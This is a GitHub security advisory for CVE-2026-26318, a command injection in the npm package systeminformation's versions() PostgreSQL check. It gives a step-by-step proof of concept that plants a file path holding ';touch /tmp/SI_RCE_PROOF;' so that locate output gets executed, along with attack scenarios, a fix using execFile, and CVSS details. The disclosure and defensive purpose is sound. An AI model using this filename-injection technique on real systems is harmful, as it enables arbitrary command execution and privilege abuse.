CVE-2026-26318

ADVISORY - github

Summary

Command Injection via Unsanitized locate Output in versions() — systeminformation

Package: systeminformation (npm)
Tested Version: 5.30.7
Affected Platform: Linux
Author: Sebastian Hildebrandt
Weekly Downloads: ~5,000,000+
Repository: https://github.com/sebhildebrandt/systeminformation
Severity: Medium
CWE: CWE-78 (OS Command Injection)


The Vulnerable Code Path

Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:

// lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n').sort();
    if (postgresqlBin.length) {
      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
        // parses version string...
      });
    }
  }
});

Here's what happens step by step:

  1. It runs locate bin/postgres to search the filesystem for PostgreSQL binaries
  2. It splits the output by newline and sorts the results alphabetically
  3. It takes the last element (highest alphabetically)
  4. It concatenates that path directly into a new exec() call with + ' -V'

No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().

The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().


Exploitation

Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

  1. Target system runs Linux — the vulnerable code path is inside an if (_linux) block
  2. locate / plocate is installed — common on Ubuntu, Debian, Fedora, RHEL
  3. PostgreSQL binary exists in the locate database — so locate bin/postgres returns results (otherwise the code falls through to a safe psql -V fallback)
  4. The attacker can create files on the filesystem — in any directory that gets indexed by updatedb
  5. The locate database gets updatedupdatedb runs daily via systemd timer (plocate-updatedb.timer) or cron on most distros

Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

which locate
# /usr/bin/locate

systemctl list-timers | grep plocate
# plocate-updatedb.timer    plocate-updatedb.service
# (runs daily, typically around 1-2 AM)

Check who owns the locate database:

ls -la /var/lib/plocate/plocate.db
# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db

Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.

Step 2 — Craft the Malicious File Path

The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.

Create a file whose path contains an injected command:

mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"

Verify it exists:

find /var/tmp -name postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:

sudo updatedb

Then verify locate picks it up:

locate bin/postgres
# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the last element:

const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);

Alphabetically, /var/ sorts after /usr/. So our malicious path naturally becomes the selected one:

Node.js sort order:
  [0] /usr/lib/postgresql/14/bin/postgres   ← legitimate
  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   ← selected (last)

Quick verification:

node -e "
const paths = [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
];
console.log('Sorted:', paths.sort());
console.log('Selected (last):', paths[paths.length - 1]);
"

Output:

Sorted: [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
]
Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres

Step 4 — Trigger the Vulnerability

Now when any application using systeminformation calls versions() requesting the postgresql version, the injected command fires:

const si = require('systeminformation');

// This is a normal, innocent API call
si.versions('postgresql').then(data => {
  console.log(data);
});

Internally, the library builds and executes this command:

/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V

The shell (/bin/sh -c) interprets this as three separate commands:

/var/tmp/x                         →  fails silently (not executable)
touch /tmp/SI_RCE_PROOF            →  ATTACKER'S COMMAND EXECUTES
/bin/postgres -V                   →  runs normally, returns version

Step 5 — Verify Code Execution

ls -la /tmp/SI_RCE_PROOF
# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF

The file exists. Arbitrary command execution confirmed.

The injected command runs with whatever privileges the Node.js process has. In a monitoring dashboard or backend API context, that's typically the application service account.


Real-World Attack Scenarios

Scenario 1 — Shared Hosting / Multi-Tenant Server

A low-privileged user on a shared server creates the malicious file in /tmp or their home directory. The hosting provider runs a monitoring agent that uses systeminformation for health dashboards. Next time the agent calls versions(), the attacker's command executes under the monitoring agent's (higher-privileged) service account.

Scenario 2 — CI/CD Pipeline Poisoning

A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses systeminformation for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.

Scenario 3 — Container / Kubernetes Escape

In containerized environments where /var or /tmp sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running systeminformation) calls versions(), the injected command executes on the host, breaking out of the container boundary.


Suggested Fix

Replace exec() with execFile() for the PostgreSQL binary version check. execFile() does not spawn a shell, so metacharacters in the path are treated as literal characters:

const { execFile } = require('child_process');

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n')
      .filter(p => p.trim().length > 0)
      .sort();
    if (postgresqlBin.length) {
      execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => {
        // ... parse version
      });
    }
  }
});

Additionally, the locate output should be validated against a safe path pattern before use:

const safePath = /^[a-zA-Z0-9/_.-]+$/;
const postgresqlBin = stdout.toString().split('\n')
  .filter(p => safePath.test(p.trim()))
  .sort();

Disclosure

Common Weakness Enumeration (CWE)

ADVISORY - github

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.0

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.8high
PackageTypeOS NameOS VersionAffected RangesFix Versions
systeminformationnpm--<=5.30.75.31.0

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is not bound to the network stack and the attacker's path is via read/write/execute capabilities. Either: The attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.